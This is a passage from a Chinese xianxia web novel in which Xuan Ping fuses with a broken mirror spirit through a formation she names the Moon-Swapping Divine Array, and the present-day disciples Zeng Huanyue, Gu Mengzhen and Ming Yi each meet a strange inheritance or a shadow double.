小镜子的脑中冒出这样的念头。 至于这一步是什么,要怎么迈出,她便不太清楚了;只是这样的旋娉让她感到极度的熟悉和极度的陌生,她不明白是对方还未将两股力量融合,还是她自己不能适应。 不等她想明白,竟然 又感到外界有女娲气息冲来,她很快感应出这是一直笼罩着乌明山庄的神力,不过平日都是很安静的,如今的冲击则是来自……小镜子睁开眼一瞧,瞧见了那只浴火的三足乌。 哦,这只鸟啊。 旋娉正和它打得激烈,小镜子看得出来,这只鸟虽然厉害,但并不是旋娉的对手,旋娉和它这么来回地打,是醉翁之意不在酒。 那么在何处呢?很快她就见旋娉一边遛鸟,一边对她温温柔柔地说:“我的宝贝镜子,许久未见,你还生我的气吗?” 小镜子:…… “没有。” 旋娉很感动道:“我知道的,你果真是世上最宽容最可爱最大度最善解人意的宝贝。” 小镜子:“……你有事?” 旋娉变出一条灵绳来,这会已经缠上了三足乌长长的脖颈:“想来你已经感应到我大功将成,只是还差一点,我闭关时如何也没办法……好在老天待我不薄,将走完这最后一步的机遇送到了我眼前。” “……你是说这只怪鸟?” “你真是世上最聪明的宝器!”旋娉的余光瞥了眼那飞上来不知要干啥的少年,柔弱不堪到不值得她在意,“虽然我不清楚乌明山庄是怎么弄来这只火鸡的,但它身上灵力竟能为我所用,真是难得。若我汲取了它的灵力……” 小镜子:“你知道为何它的灵力能为你所用吗?” “你知道?说来听听。” 其实这很难解释,何况是在这样紧迫的场合,于是小镜子尽量通俗道:“因为你们有相同的……祖先。” 旋娉深呼一口气:“一百年没见,你骂人的话术更高级了。” 小镜子:? “听不懂你在说什么。” “我也听不懂你在说什么。”旋娉道,“总之你要帮我。顾不醒将你改造后我还没来得及与你完全相通,你得主动帮我才好。” 也许是眼前的机会难得,她难得说这么多好听话:“过了这村可没这店了,你此次帮我,日后我定好好待你……你愿意吗?” 愿意吗? 小镜子正思酌间,听见边上明易的声音:“还请旋仙人手下留情,由小辈将此物封印,之后再给仙人赔礼道歉。” 可惜旋娉已经看上了这只火鸡:“你们明家人真是会做生意啊,卖不起就说别人欺人太甚;打不过了还知道保本……哎呦,难怪我这闭关一百年来,你们便由小破屋子做到如今气势恢宏的乌明山庄,我还得向你们讨教呢!” 这阴阳怪气的,明贰明叁在下头听得怒火中烧,好在有明晨拦着没发作。 明易并不觉得对方是在骂自己,他舅舅关他什么事?因此不卑不亢道:“旋仙人说笑了,小辈深知整个乌明山庄对你来说都不堪一击,先代舅舅他们替你道歉,之后的赔偿……” “赔偿?”旋娉秀眉一挑,“你们一抢我的宝贝,二对我这般挑衅,该不会随意地想将我打发走了吧?” 明易:“阁下想要什么赔偿?” 旋娉指向边上被她用灵绳拴着正在奋力挣扎的三足乌:“这只火鸡。” 明易:……火鸡? 算了,随便:“……除此之外。” 旋娉又指向下边的看热闹群众:“这些人命。” 明易:“……除此之外。” “除此之外?”旋娉却是一笑,脑袋一歪看向他,“你不会以为……你有和我商量的资本吧?” 明易:。 “一半,”他自然知道对方想要的并不只是一只简单的火鸡,而是它身上的力量;也明白自己没有和她商量的资本,但依旧不要脸地继续商量,“给你一半……火鸡。” “哈哈哈哈哈!”旋娉猖狂地大笑起来,一边笑着一边说,“若你有这本事便拿去吧哈哈哈哈哈!” 她话音一落,明易便被一道光芒刺眼,微眯着眼睛望去,正是那面一刻钟前还在他怀中的小镜子,此时正由旋娉的仙法托举着,漂浮在空中熠熠生辉,裂成两半的镜面照映出错位的火鸡……不对,是三足乌。 平日平平凡凡的小镜子,被旋娉的灵力激活后大放神光异彩,明亮的光辉掩过天上的太阳,让识货的不识货的都感到了她的非凡。 “天地之镜……” “宝镜,宝镜!明易,快夺来那面镜子!”明叁的声音在下边响起,很快被一巴掌声止住。 藏在躁动的人群中看好戏的顾不醒也望着镜子失神地喃喃道:“果然只有旋娉……只有她才能发挥天地之镜的力量。” 旋娉不断往宝镜中输送着法力,其周遭形成的阵法灵场压迫得底下人大气都不敢喘,在生死关头只能想到“低调活着”一事;明易修炼多年,也不是第一次遇见强劲的对手,但从未有过此时此刻可怖的感受。 他往下望去,两个舅舅正在和闻风赶来的舅妈说话,母亲正在边上安抚 她们;后边还有一些穿得花花绿绿的后院女人们,许多下人们怀中都抱着孩子。无辜的、脆弱的人居然有这么多。 他明白,明家能发展到今日是因得了护明神雕中帝俊神力的庇护,甚至他自小以来修炼的资源和汲取的灵力也来自此处…… 于凡人来说,帝俊神力如作弊的运气;于修仙者来说,神力虽充沛但并不纯粹,容易走火入魔。因此母亲从小就告诉他,她一定会想办法让明家人摆脱对神力的依赖…… 可如今却到了这样的局面: 任由旋娉夺去护明神雕——明家很快便会四分五裂。 保下护明神雕——一切回到原样。但此选择在旋娉面前是天方夜谭。 因此明易想,也许他能做的只是尽量夺回一些神力封存在护明神雕之中,让明家不至于一夜倒塌,有一些缓冲的时间让无辜弱小的人筹划活下去的办法…… 说起无辜弱小,明易看着手中的剑笑了笑,他在旋娉面前怎么不算这样的角色呢? 短暂的思绪过后,明易试图理清局势:目前是三足鼎立,形成三角阵法的分别是旋娉、天地之镜和三足乌。若选突破之处,论修为最弱的自然是三足乌,但看整体,天地之镜才是其中要处,沟通着旋娉和三足乌…… 第239章 最难得的是,天地之镜碎了,破碎之处便是倾泻灵场灵力的“漏洞”。 如果他倾尽全力一击,也许可得一线生机……但也只有一线,让几乎不可能的局面有那么一丝希望。 假使没有这道裂缝,明易不会去送死,可偏偏有这样的机会。 偏偏这是天地之镜。 偏偏……他知道其中有一只镜灵。她像人一样生动,时不时生气不搭理人,时不时又说些让他有所感悟的话。 他对她来说算什么呢?大概是一个不值得在意的经手人吧;可他的朋友很少,他私以为能和他说这么多话的就算是朋友了。 现在好了,要对朋友下手。哪怕他知道自己压根伤不了她多少,但依旧对自己的背刺感到愧疚。 不过愧疚带来的犹豫不能太长,否则等旋娉功成,一切都来不及了。 明易深呼一口气,提剑飞去,越近灵场越感到要死的压迫感,但好在他在寻常修士中也算个强者,这时还能逞强;他浑身淹没在天地之镜散发的刺眼灵光中,镜面中那只挣扎痛苦的三足乌仿佛也是他的化身;剑修在旋娉有所感应但压根懒得理会一眼的无视下,咬牙挥出了全力一剑—— 咔嚓。 灵场震荡,风声呼呼,嘈杂的世间中如此细微的一声,仿佛压死一只蝼蚁的动静,却让旋娉睁开眼来,如宝剑般尖锐的视线瞬间瞄准了那以剑刺镜的罪魁祸首,心中升起对不自量力者蔑视的怒气。 “找——死——” 阵法还在运行,她因此不能发作,其实也不需她做什么,那剑修逞强融入灵力悬殊的阵法中,完全是活得不耐烦了。 生死面前,旋娉的威胁也不值得在意了。明易咬紧牙关,努力稳住握剑的手,明明感到还能再进一寸,但实在是太难——可他还活着,活着便说明尚有余力。 明易抬起眼来,瞧见镜面中毫无血色的自己,三足乌的火焰就在他身边腾飞着,仿佛马上要让他燃烧殆尽;在逐渐朦胧模糊的视线中,在一团炙热的画面里,他恍然瞧见什么在镜中闪动。 那是……她吗? 【不怪谁,我已经想明白了。】 想明白什么? 【这就是我的命运,是一件宝器要走的道。】 既然这样,他便不留余力地死去吧。剑修深呼一口气,仿佛吸进了今生所有的生气,如此便看见再进一步的、迈向死亡的那道空隙在他眼前展开。他将所有的力量汇聚一团,尽数送入剑中—— 噼里啪啦。先是剑身破碎的声响。 咔嚓。 这声也不那么轰烈,但不过是一瞬间的死寂后,天地之镜原先那道天雷裂缝的边上便炸开了几道如花枝般的细小裂痕。 ……他成功了。 明易不知该不该高兴,事实上他此时什么想法都没有,只是大脑空白地、眼睁睁地看着镜面在他面前炸裂出镜框,无数细小的碎片划过了他的眼睛、鼻梁,脸颊,很有触觉,但没有什么疼痛。 他失去所有力气,虚握在手中只剩下剑柄的剑从空中落下,而他本人也将要随之坠落;在这无知无觉的漂浮之中,他看见有一块手掌心大的镜片似乎很有目的地朝他飞来,比他的剑还快,就这么忽地消失在他迟缓的视线中——扎入了他的心脏。 是……谁? 模糊不清的视线中,只剩下愈行愈远的两道影子,一道是旋娉,一道是她边上的镜子。 是谁杀了他? 是旋娉……? 还是…… 镜灵。 旋娉无暇顾及地上绽放的血花和其引起的喧嚣嘈杂,也不在意阵法被切断后、回收了部分帝俊神力但已然对她失去用处的护明神雕掉在地上后被人捡起;她在意的只有她碎了的宝贝镜子。 罪魁祸首已经死了,现在要紧的是……对,顾不醒说的,要给镜灵再找一个安身之所,不然她就会四处飘散。可这是天地之镜,哪里是随便什么东西都能收容她的? 更何况现在她体内还吸收着未转化的帝俊神力…… 帝俊神力,未转化的。 旋娉灵感一闪,如受天启,对面前尚在镜框中蠢蠢欲动的镜灵道:“小镜子,你快来我的体内,我将与你合二为一,化你身上的神力为我所用!” 镜灵隐隐闪烁着,离开镜面后,她的声音空灵似风,凡人的耳朵难以捕捉:“旋娉,你想好了?” “你要帮我。”其实旋娉听镜灵的语气便安心了大半,“我的宝贝,我知道你会帮我。” 镜灵的光芒渐渐明亮起来:“不是帮你,是你能做我的决定。” “没差,”旋娉一向不喜欢理解这些弯弯绕绕的逻辑关系,她只关注她想要的是否得到,至于怎么得到,是否你情我愿,一切都不重要,“那么,你准备好了?” 镜灵:“你准备好了?” 哈哈哈哈!旋娉大笑起来:“我等这一刻实在太久了!” 笑声一落,她便熟练而迅速地比划手诀启动阵法,以她为原点,空中很快展开一面荧光阵阵的悬浮符文;这阵法如此庞大而繁复,仿若无处可逃的藤蔓牢狱,底下的人们惊诧地仰头看来,从旋娉的角度俯瞰,每一张脸都被困在其中。 “旋娉!”这时只有顾不醒敢说话,“你要做什么?!” 旋娉现在哪有空在意这些无关紧要的人?她忙着完成自己的阵法。 镜灵身在其中,感应到阵法中蕴含的女娲神力……不止如此,她还感到了许多熟悉的气息。 “旋娉,”她在阵法中四处游荡着,像一个好奇的孩子,“这阵法我好似在哪里见过。” 旋娉忙碌中轻笑一声:“当今世上除我之外无人能驾驭这阵法,你会在哪见过?” 镜灵:“你也说是当今世上。” “也是,”旋娉想起来,“你活了许久了……难道你真的在哪里见过这套阵法?” “不是这套,只是很相似。”镜灵说,“也许是我曾经照过。” 旋娉道:“忘了也无所谓,总之没我这套厉害。” 她喜欢在意厉害不厉害的问题,但镜灵的重点并不在这。罢了,和旋娉很难说的,镜灵也懒得再解释,只是围着阵法四处打转,试图在记忆中搜寻自己那片相似的记忆碎片。 不过旋娉并没留给她太多时间,这套厉害的阵法在她手中被绘制地非常快,很快便要大功告成。 最后一笔。 旋娉抬起眼来,笑意盈盈地看向镜灵道:“来吧。” 镜灵似有些遗憾,但还是乖乖地来到了她身前,被她温热的双手捧在手心上。镜灵问:“还没问你,这套阵法叫什么?” “阵法叫什么?没取。”旋娉挑起一边的眉毛,“名字很重要吗?你知道我不在意这些。” 镜灵:“哦。” 大概是成功在望,旋娉心情实在不错,因此很耐心道:“你要想知道这阵法叫什么,那我现在取一个?” 镜灵:“嗯。” 叫什么呢,这对不在乎名字、也不擅长取名字的旋娉来说真是个难题。 她四处张望了一下寻求灵感。低头看去,那群明家的蝼蚁还紧巴巴地簇拥在一起,中间是那个不自量力的剑修的尸体,这些人要么哭哭啼啼,要么唉声叹气,眼看着就烦。 抬头望去,天色已经转暗,空中一同显出了不明亮的太阳和月亮,凡人管这叫日月同辉。旋娉对这景况有一些说不分明的喜爱,每每瞧见,心中总会浮起诡异的期待。 仿佛世间的一切都将在这瞬间更迭。 这是日月交替的时刻。 旋娉轻轻眨眼收回视线,对手中的镜灵说:“我想好了,就叫……换月神阵。” 换月神阵? 名字并不是无用的,比如一直苦思冥想也想不起来的小镜子就因这新鲜出炉的阵法大名想起来了那相似的 阵法出自哪块记忆碎片。 “我想起来了。”镜灵喃喃道,“是偷天神阵……旋娉,你知道偷天神阵吗?” “什么玩意?没听过。”旋娉咪咪笑着,“没我有名吧?” “……” 镜灵:“偷天神阵是……” “不重要,无所谓。”旋娉的手指渐渐融入镜灵之中,光辉盛满了她的手,照映着她平淡中带着狂妄的笑容,那双清亮而深邃的双眼被光照得流光溢彩,好似镜面一般。 “来吧,”这位无人能敌的修仙者说,“来我身边,来我心中,让我带你凌驾天地之间!即使无法飞升,我也要成为世间唯一的真神——” 无数破碎散落的镜片猛地飞起,急速旋转着飞入换月神阵之中。 少年剑修的胸口忽地鼓动了一下,原先刺入其中的镜片破出血肉,粘连着一颗新鲜的心脏往空中飞去,血液迸溅了周遭人一身。 他睁开了眼——哪怕已经死去,但也将那天空之中、日月之下,如此神奇诡谲的一幕收入了眼中。 换月神阵大成。 有仙飞升。 * “偷天神阵……?” “不对,很像,但不一样。” “搞什么啊,那只鸟还是蛇的带我来这里干嘛?” “师姐!师姐你在哪啊——啊啊啊!” 曾换月追鸟蛇追得累了,摆烂地躺在地上休憩,枕着的小花小草刺挠她的脸颊,她不耐烦地将它们往边上撇开,视线始终望着前方巨大石头上的阵法,一脸了无生趣。 所以引她来这里,就是为了这个阵法? 她胡乱地想,现在的情况如果类比她以前看过的仙侠文中的剧情,应该是类似“主角团被送机遇”的情节吧? 但她穿来都这么久了,非常有自知之明自己拿的绝对不是主角剧本,她们师兄妹四人之间也没啥阴谋诡计、恨海情天的,大家伙都是安安分分的老实人……而且这送机遇的情况也太莫名其妙了吧?总感觉是被骗来的啊! 第240章 再说说这个阵法。 谁家好人把阵法画在一块大石头上啊?基本操作难道不是“捡到秘籍”或者“得到大佬残念传授”这两种?这阵法的登场方式如此潦草,连叫什么名字都不说一声,如此便有欲盖弥彰的嫌疑,谁知道是不是什么歪门邪道的玩意…… 对了,和偷天神阵还有点像呢,不会是抄袭的吧?啧啧啧。 当然,还有一个重中之重:这阵法太复杂,她一时半会肯定学不会,方才试图用留影珠,谁知这时候才发现储物袋完全不见了。 也就是说,如果她要学会这个阵法,必须纯靠脑子记。没错,这才是她躺在这吐槽良久、心怀不满的最大原因。 曾换月:哈哈。 果然天上不会掉馅饼,就算是掉了馅饼,也不会叫你这么容易地拿到。只是眼睁睁见这热乎乎香喷喷的馅饼就在前方,哪怕知道背后很大概率有意想不到的危险,但——就这么放弃吗? 如果换做以前,曾换月就想放弃了。 但她转念一想,现在她陷入了困境,她师姐师兄们应该和她也差不多;她已经是元婴期的符阵修了,当初努力破境也是为了要保护师姐和师兄……“保护”一词给她用就太自大了,力争不添麻烦就好。 那么,就算是为了师姐她们……她也要试试啃下这块硬石头! 哼哼,曾换月站起来拍拍屁股后边的草和泥土,一边走向大石头一边开始畅想自己成功之后的景况: 若这阵法能有偷天神阵一半厉害那她就赚大了,届时闻名天下不是理所应当?多给她师门长脸啊……对了,瞧这阵法没有名字,那就由她取一个好了,既然是她带出去的,又想着要出名…… 就叫换月神阵吧! 偷天换月…… 很有借天机阁偷天神阵抬咖的嫌疑,但这又如何呢? 嘿嘿。 * 小师妹想要的“捡到秘籍”和“得到大佬残念传授”这两样,都给她二师兄碰上了。 前情提要,顾梦真在小蛇鸟的引诱下来到了几间上了年纪的、里头装满了陶器的屋子;当他打开了最后一个规模稍大一些的屋子的房门后,发现了这件宽敞屋子的正中央摆着一个大家伙,正是他自小在课本中无数次看过的、上古时期才有的最早形制的炼器炉。 这家伙仅用走向炼器炉的几步间就畅想好了自己未来宏大的商业版图,做梦都没这么美过。直到脚下踩到了什么,听到一声“哎呦”的时候才回过神来,猛地跳到了边上,警惕张望着: “谁谁谁?谁在说话!?” “我我我!”有个不高兴的声音凭空冒出来,“是我!” 顾梦真瞪大眼睛看向声音传来的方向,正是他方才踩到但没来得及看清的东西,那是……一本书? 顾梦真愣神道:“书?书怎么会说话?” “我是……算了,”那书说,“你就以为我是书中的书灵便成。” “书灵?”就跟器灵差不多吧,顾梦真这么想,接受良好道,“我还未见过书灵……看来你很老了?” 书页扑腾了一下,似乎有些不满:“资历,这叫资历!” 顾梦真:“看来你资历很旧了。” “什、什么?旧?你是说我过时?”那书灵更生气了,“我这叫博大精深!源远流长!根底深厚!!” “好好好……”顾梦真瞥了眼它身后的上古炼器炉,语气忽然变得客气了许多,“看来阁下就是这鼎炼器炉的……额,使用书籍?” 书灵默了默:“嗯……也能这么说。” 顾梦真:“嘿嘿。” 书灵:“……你嘿嘿什么?” “嘿嘿。”顾梦真小碎步走过去,小心翼翼地捡起地上的书籍,轻轻地拍了拍上头的灰尘,很是温柔道,“阁下在此处可是在等有缘人?” 书灵:“算是吧。” 顾梦真扑闪着大眼睛看着他:“这外边可是危机四伏的森林,方圆百里压根没有人迹,我一路走来也是历尽千辛万苦……” 书灵:“所以呢?” 顾梦真笑眯眯道:“看来我就是阁下等的有缘人了!” 书灵:“可能是。” 顾梦真:“那我……翻开了?” 书灵:“随便你。” 这算是同意了吧?是同意了!顾梦真迫不及待的就要打开第一页,但此时智商短暂回归了一会,脑海里冒出点点点点的疑惑: 奇了怪了,这上古书籍的书灵这么好说话吗?就因为他有缘找到它,所以不需要考验一番?如果他是什么不图上进的器修,岂不是白费了这机缘?难道是它看出了他的炼器天赋?不是吧,一本书有这样的本事嘛…… 而且听这书灵的语气,总觉得……嘶,与其说是“爱咋咋地”的无所谓,更像是“我不管哦是你要跳这坑的到时候别怪我没提醒你就是了”这样看好戏的幸灾乐祸…… 总而言之,很有古怪! 但。 然而。 问题是。 顾梦真做不出入宝山而空手回的事啊! 要是这会让他把手中的书放下然后转身离开……他会抓心挠肝、牵肠挂肚一辈子的!更何况他还有宏大的商业版图尚未实现…… 最后瞅了眼边上稳重的上古炼器炉,器修深呼一口气,毅然决然地翻开了手中的旧书——只见一道灵光从书页中迸发而出,逼迫他闭上了眼睛,等眼皮外的光亮稍缓时,他再抬眼看去,瞧见了炼器炉边上立了一道模糊的白色人影。 这便是书灵,大概也是这鼎炼器炉主人的残念。顾梦真很快有了判断,因此客客气气地朝他行了一礼:“老前辈好,梦真有礼了。” “你也算有礼貌么?”什么老前辈,他的声音分明很年轻好吗!书灵没好气地嘟囔了一声,挥挥手道,“好了,没时间和你说这么多,现在我就要传授你炼制绝世珍宝的方法。” “稀世珍宝!”顾梦真眼前一亮,又疑惑道,“额,现在是……这会吗?” “不然呢?” “要不出去再说吧。”顾梦真挠挠脸,讨好一笑道,“我师兄师妹她们还在外头等我呢!我这出来也好久了,她们该着急啦,身为二师兄实在不能……” “呵呵呵呵呵……”这书灵居然笑起来,“你以为进来这里是这么容易出去的?” 顾梦真一愣:“没,我知道不容易出去,兜了半天也没头绪呢……所以我得赶紧想办法,暂时没心思学习炼制宝器……老前辈,难道你不能随我出去吗?” 书灵哼哼道:“我不是你们这时候的人,自然不能出去;你我只能在此处相遇,而且是过了这村就没这店了!” 顾梦真想到更重要的事,指着边上的炼器炉:“那这鼎炼器炉难道也……” 书灵:“带不出去。” “啊——”器修听到这噩耗,简直心如刀割,但又无可奈何,“好吧,难怪说是绝世珍宝呢,敢情我只能炼制一个宝器啊!” 没有具体模样的书灵冷哼一声,仿佛可见他脸上嫌弃的表情:“你竟还想量产绝世珍宝?若人人都可得之,又怎能配上‘绝世’一词?做器修不要太贪婪,百年才难得有一件举世无双的宝贝,仅一件便是震荡天地的存在了!” “嘿嘿,我知道我知道。”顾梦真苍蝇搓手,“能成为炼制这件宝贝的器修,是我顾梦真今生之大幸!还请前辈不吝赐教啊。” 书灵嘟囔道:“我也没得选择。” 顾梦真又问:“这件宝器要炼制多久呢?” 他问到了关键问题,书灵抬眼看向他,忽地一笑道:“对世间来说只需一百日,对你来说需要五百年。” 顾梦真:? 他一时没听明白:“这是什么意思啊前辈,到底是一百日还是五百年?” 书灵道:“以你如今的修为,炼制这件宝器需要梦中一千年,也就是世间一百日,但有我相助,可减去五百年。” 顾梦真不可置信道:“啊?” “还听不明白?”书灵的语气更嫌弃了,“以你的感知是过去了五百年,但实际从世人眼中看只过去了一百日,而这一百日你都会沉睡不醒,直到宝器大成才会醒来,我这么说够明白了吧?” 他当然听明白了,因此陷入了晕晕乎乎的恐慌:“这是说……我要和你在梦中过五百年?” 书灵冷酷道:“没有我,届时我会将此残念的所有修为传入炼器炉中,如此才能加快你的炼制速度,要不然得需一千年。” 顾梦真荒唐一笑:“哦,那就是我要一人……过五百年?” 书灵似乎很轻地笑了一声:“是哦。” 顾梦真:*0* 他有些犹豫,毕竟五百年实在太久了,哪怕他平日常常没日没夜地勤奋修炼,但……那可是五百年啊! “我……我得想想。”顾梦真想找个椅子坐下,但一时没找到椅子,于是就坐到了地上,“我得想想……五百年太久了……我会孤独寂寞死的……世上怎么会有这样炼制宝器的方法呢?” “怎么没有?”书灵道,“我还活着的时候,在梦中炼制十日宝器,世间就会过去一百年。” 顾梦真抬眼看他:“这不是和我相反吗?你这样好受多了,自己感觉才过去十日呢!那多快啊。” “是吗?”书灵歪了歪脑袋,“那么我真实虚度的一百年光阴又如何呢?当你从梦中醒来,你对世间的认知还是十日以前,可民间不知改了几朝换了几代,你的朋友不知何去何从,也许死了,也许变了性子,总之不再是你十日前的认识的人……”【】 240-250 第241章 顾梦真听懵了,张着嘴说不出话。 书灵的手抚上一边的炼器炉:“世上最远的距离是我们近在迟尺,却相隔千百年光阴……这才是真正的孤独。” 说罢,他看向顾梦真道:“你能有如今相悖的修炼方式,是我用尽办法才逆转了天意,还不知足?” 听着好惨啊,顾梦真咽了咽口水,有些感同身受,因此更害怕五百年的孤独,自言自语道:“我知足,我明白的,想要炼制绝世宝器哪是这么容易的事?可我莫名昏迷一百日,大师兄她们会着急坏的……” 这么说着,他几乎是毫无肢体知觉地站了起来,转身要往门口走去。 书灵:“入梦五百年很可怖吗?你从小修炼那些古怪宝器的灵感便来自梦中,你也知道自己的与众不同;不错,只有在梦里才能发挥你最大的天赋。” “……”老天奶,这他都知道!他没和别人说过啊! 顾梦真感觉太吓人了,两只走路的脚越发僵硬起来,其实离门口不远,可他走得实在很慢,这会功夫又听到背后传来书灵的声音:“炼制这绝世宝器需要天地之镜给你的那块雷神石头。” 真是莫名其妙的一句,前言不搭后语的。 不过他怎么会知道雷神石头的事? 顾梦真顿住了脚步:“天地之镜……是什么?” “果然都不记得了。”书灵似乎叹了口气,“或许我该说……镜灵?我不知道她现在是什么身份。” 顾梦真猛然回头,水灵灵的大眼睛中满是诧异:“你你你你……你怎么知道我师妹是……” 书灵也有些惊讶:“是吗,她现在是你的师妹?那她变成人了?器灵要变成人……你们给她炼制了凡心?啧,竟是找了最脆弱不堪的心脏……” 顾梦真越听越感到头皮发紧:“你怎么知道这么多事?你究竟是谁?这里到底是哪里?一切究竟是……怎么回事?” 书灵却戛然而止,默然地看了他一会,再次问道:“我最后问你一次,要不要炼制这件绝世宝器?” 顾梦真讶然望着他。 “我……” “……” “我炼……我炼还不成吗……” “呜呜呜呜……” 他这时候感到了命运的召唤,这样的召唤往往不是暴力的强迫,而是让人心甘情愿地臣服。 * “我想起来……你是谁了。” 明易被蛇尾打飞到石壁上,身后被砸碎的石头哗啦啦地震落下来,堆了一小些在他的肩头和脑袋上;剑修的两只 耳朵都流了血,但他依旧在不停地调动自己的耳识去分辨蛇妖的动静,还要竭力克服耳鸣带来的影响。 因此在听到对方说“我想起来你是谁了”的时候,明易先是怀疑自己听错了,毕竟他记性好,但凡见过的人都有印象。 “咳……”明易从石壁上落下,以剑撑着地面稳住身形,空洞的双眼望向蛇妖的方向,“你认识我?” 蛇妖冷哼一声:“算是吧。” 算是? “算是”是什么意思? 明易的大脑急速转动,他先是猜想对方不会杀他,不然以她身上和映心相近的修为,再加上他不能睁眼的劣势,蛇妖哪怕杀不了他,也不会让他像现在这么全须全尾地活着,甚至还有喘息的时间—— 这也很奇怪……她分明不喜他,为何不对他下狠手? 好像只是在捉弄他,让他狼狈;当然,也有拖延他的时间、让他不能去找映心她们的目的…… 疑点太多。 对方身份神秘,交手至今他也分不出这家伙究竟是妖还是人,亦或是别的什么成分,只知道她法术诡谲,竟会那么多的门派的功法,甚至是映心的落雨飞花…… 思及此,他便不好再深入地想,因为从某种角度来看,映心也有这样的本事;更古怪的是在交手之中,他察觉到了对方的修为和映心不相上下……她究竟是什么来头?和映心又有什么关系? 但说到映心的法术…… 明易灵光一显,发现了对方的漏洞:她会的皆是他见过的……不,是映心见过的功法!不管是他的吹雪凝霜、药神谷的毒术还是蛇妖的化石眼,甚至有天机阁的阵法和梵音门的佛法真言…… 也就是说,她一直潜藏在映心身侧?可为何压根无人察觉?若不是映心瞒着他们,而是她自己都不知道的话……完全细思极恐。不过明易细思之中,凭他对师妹的了解也有了一个不可思议的猜想。 “你……是藏在映心心镜中的影子。” 对方显然顿住了,在明易瞧不见的目光中眯起了蛇眼,红光中满是不爽和杀意:“蠢货!你就猜吧!” 明易:……虽然对方没承认但总觉得有些恼羞成怒? 现在自然不是继续猜的时候,他还急着去找师妹师弟呢,在被对方折磨得精疲力竭之前,必须想想办法…… 暂且假设他的猜想是正确的,对方一直隐藏在映心镜子中,那么为何始终不露面?看她的性子……不像是故意不出来,更像是时机未到前的忍辱负重;那么,如今是遇到了什么机遇? 明易快速回想了他们来此之后的一切经历,很快发现一切的异象皆发生在帝女石窟之中。那场突如其来的雨,还有神志恍惚地昏睡……以及最后他跟随映心来到石窟之中瞧见的画面,答案已经呼之欲出—— 天光。 是裂缝中倾泻下的天光。 明易尚不知道这光到底是什么来头,是否该小心行事呢?可他此时完全不愿考虑后果,满脑子只想找到师妹师弟。 只见剑修轻功飞到空中,飘逸的身姿舞起剑式,剑气纵横如无数冰雹砸向四周,包裹住了无数块大小石头,甚至还有石皮剥离后的各种生物尸块。 蛇妖无趣地摆了摆蛇尾:“吹雪凝霜,你只有这招了?” 明易没搭理她的嘲讽,将被吹雪凝霜凝结的物体猛地往上方送去——不错,正是往上方的裂缝处送去;就见那些大的小的冰块全部在裂缝处紧紧依偎着凝结成硕大的冰团,瞬间将裂缝堵住,天光因此被遮盖,石窟中陷入了昏暗。 蛇妖猛地回过神来,很快意识到剑修的打算,咬牙切齿地嘟囔一声:“算你聪明……” 下一刻便击出一招要将冰团打碎,可惜被察觉的明易反击了回来。失去天光相助,蛇妖自知法术衰弱;石窟中一片黑暗,她也对明易失去了视觉上的判断,很快陷入弱势,匆匆应对了他突如其来的两招,暗道不妙地后撤了几步。 不过这样也不是不行,裂缝被堵住,他便不能去干扰镜灵她们…… 铮! 寒竹剑砍断一截蛇尾,在黑暗之中再用这副蛇妖的躯体便显得笨拙了,她毫不犹豫地从蛇妖石雕中脱离而出;明易只见空中有一道灵光闪过,他送剑去砍,但被其狡黠躲过,眼睁睁见她隐入了黑暗之中。 下一瞬,就听黑暗中有声音响起:“大师兄?” 明易深呼一口气:“……映心?” “是我,”仿佛有一道熟悉的人影走近,“大师兄,你没事吧?” 明易默了默道:“我没你想得那么蠢。” “哈哈哈哈哈!哈哈哈哈……” 明易往猖狂笑声传来的地方送了几招,但都被对方轻松躲过,只听她不紧不慢道:“你急什么,不想看看我的模样?” 有什么好看的?明易不愿理会她,只继续出招;但对方却变出了辟邪灯来,照亮了二人之间的黑暗,他不得不看见她的模样—— 石映心。 毫不意外,但明易却怔神地停住了动作。 因为这就是石映心。 不只是长得一模一样,她身上的气息,灵力的属性,包括人与人之间难以表明的“感知”,都指向她就是石映心。 可她不是,明易当然知道,她不是。 他只是对这以假乱真的本事感到可怖。 “你……”明易不可置信地喃喃道,“你究竟是谁?” “我就是石映心,”她笑了笑,“石映心就是我。我与她互为一体,密不可分,我中有她,她中有我;我说得都是实话……” 她得寸进尺地进了一步,瞥了眼剑修手中的剑:“你敢杀了我吗?” 明易抿着唇,死死地盯着面前之人,试图找到任何她是假货的证据。 对方也没有等他回话的意思,自顾自地笑起来:“嘶……我差点忘了,你怎么不敢呢?你又不是没杀过。” 明易脑中仿佛有一根琴弦被挑动了,可他分明完全不信这人的话。只是这无缘无故的触动仿佛来自潜意识中的回应,让他由心底荡起了不可置信的恐惧,将他严密的防守划开了一道细密的裂缝: “……你说什么?” “我知道,你自小厌恶我。”她却忽然转换了话题,“你不喜我的出现,夺去了你天才的名号;你嫉妒我的照人之术,可轻松习得世上万法,不需像你这般废寝忘食地修炼……” “你兢兢业业地做一个负责的大师兄,不过是害怕失去天才名号后被我取代,因此才为归壹派鞠躬尽瘁,以此塑造自己的好名声,要不然谁会在意一个没落的天才呢?” “至于你说你喜欢我……呵,只是在你强制自己遵守的道德和责任之下,扭曲的嫉妒和慕强心理罢了!”她的脸上露出一个冷冰冰的笑容,“你没办法超过我,那不如就得到我、拥有我,以满足你的虚荣和胜负心!” 明易平静地听完,漠然看着她:“你到底想说什么?” “不信?”石映心仿佛很无奈道,“你怎么不信呢大师兄,难道你忘了我的本事吗?” 第242章 他怎么可能忘了。 石映心:“人惯会自欺欺人,自我说服,自我欺骗……可我是镜灵,我所照见的便是最真实的心意……这么说你明白么,我比你更了解你的心思。” 明易缓缓吐出一口气:“你和我说这些是没用的。” “还是不信啊?”石映心歪了歪脑袋,“那你怎么不杀了我?” 明易一愣。 “你若觉得我满口谎言,怎么不杀了我?你方才不还对我用剑吗?现在怎么杵在这一动不动呢?”说到这,她做出恍然大悟的表情,“咦,所以你是后边的话不信,只信了我说‘我就是石映心,石映心就是我。我与她互为一体,密不可分,我中有她,她中有我’这句吗?” “那真是奇怪了,信了这句话怎么能不信后边的?”她故作疑惑的神 情中满是嘲讽,“你先前的猜测不错,我确实是藏在石映心心镜中的影子。她自小照不到你,可我却能透过她的眼睛将你看得一清二楚,我方才说的话,每一个字都是——真的。” 话毕,她望着明易一瞬不动的、缠上一些红血丝的双眸眨了眨眼睛,宛如他师妹每一次偷摸试着照他的模样。 寒竹剑上的手倏地发紧:“我问你,你方才说的我杀过映心……是什么意思?” “什么意思?”石映心冷哼一声,“就是这个意思!” “大师兄……” 明易猛地回过神来,眼前竟是师妹隐忍的痛苦神色,他怔愣地看着她的脸,但迟钝又敏锐的余光还是注意到她的胸口被插入了一把熟悉的长剑——竟然是他手中正在握着的寒竹剑。 